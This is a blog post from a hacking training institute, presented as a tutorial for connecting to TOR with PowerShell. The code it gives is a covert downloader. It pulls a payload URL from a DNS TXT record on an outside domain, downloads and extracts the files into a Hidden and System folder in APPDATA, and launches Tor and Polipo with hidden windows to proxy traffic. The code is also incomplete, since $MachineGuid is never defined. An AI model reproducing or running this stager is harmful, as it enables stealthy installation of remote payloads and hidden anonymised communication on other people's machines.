Ethical Hacking Training Institute
Extreme Hacking | Sadik Shaikh | Cyber Suraksha Abhiyan

In this article, I will teach you guys on how to connect to TOR network using Powershell.

Powershell is a powerful weapon for Hackers. Those who think that programming is not necessary in Hacking or Security Field just go and watch “POGO”.

Powershell Code:

function Get-DnsTXTRecord($DnsHost)
{
$ZipFileUri = (((Invoke-Expression “nslookup -querytype=txt $DnsHost 8.8.8.8″) -match ‘”‘) -replace ‘”‘, ”)[0].Trim()
$WebClient.DownloadFile($ZipFileUri, $ZipPath)
$Destination = $Shell.NameSpace($ZipPath).Items();
# Decompress files
$Shell.NameSpace($ToolsPath).CopyHere($Destination, 20)
Remove-Item $ZipPath
}

$ToolsPath = Join-Path $Env:APPDATA $MachineGuid

# Mark the path where tools are extracted as ‘Hidden’, ‘System’, ‘NotContentIndexed’
if (!(Test-Path $ToolsPath))
{
$Directory = New-Item -ItemType Directory -Force -Path $ToolsPath
$Directory.Attributes = ‘Hidden’, ‘System’, ‘NotContentIndexed’
}

$Tor = Join-Path $ToolsPath ‘tor.exe’
$Polipo = Join-Path $ToolsPath ‘polipo.exe’
$ZipPath = Join-Path $ToolsPath ($MachineGuid + ‘.zip’)
$WebClient = New-Object Net.WebClient
$Shell = New-Object -ComObject Shell.Application

if (!(Test-Path $Tor) -or !(Test-Path $Polipo))
{
Get-DnsTXTRecord ‘REDACTEDREDACTED.de’
}

if (!(Test-Path $Tor) -or !(Test-Path $Polipo))
{
Get-DnsTXTRecord ‘REDACTEDREDACTED.cc’
}

$TorRoamingLog = Join-Path $ToolsPath ‘roaminglog’
# Start Tor and maintain an initialization log file
Start-Process $Tor -ArgumentList ” –Log `”notice file $TorRoamingLog`”” -WindowStyle Hidden

# Wait for Tor to finish initializing
do
{
Start-Sleep 1
$LogContents = Get-Content $TorRoamingLog
}
while (!($LogContents -match ‘Bootstrapped 100%: Done.’))

# Start polipo proxy
Start-Process $Polipo -ArgumentList ‘socksParentProxy=localhost:9050’ -WindowStyle Hidden
Start-Sleep 7
$WebProxy = New-Object Net.WebProxy(‘localhost:8123’)
$WebProxy.UseDefaultCredentials = $True
$WebClient.Proxy = $WebProxy

www.extremehacking.org
Sadik Shaikh | Cyber Suraksha Abhiyan, Ethical Hacking Training InstituteCEHv9,CHFI,ECSAv9,CAST,ENSA, CCNA, CCNA SECURITY,MCITP,RHCE,CHECKPOINT, ASA FIREWALL,VMWARE,CLOUD,ANDROID,IPHONE,NETWORKING HARDWARE,TRAINING INSTITUTE IN PUNECertified Ethical Hacking,Center For Advanced Security Training in India, ceh v9 course in Pune-India, ceh certification in pune-India, ceh v9 training in Pune-IndiaEthical Hacking Course in Pune-India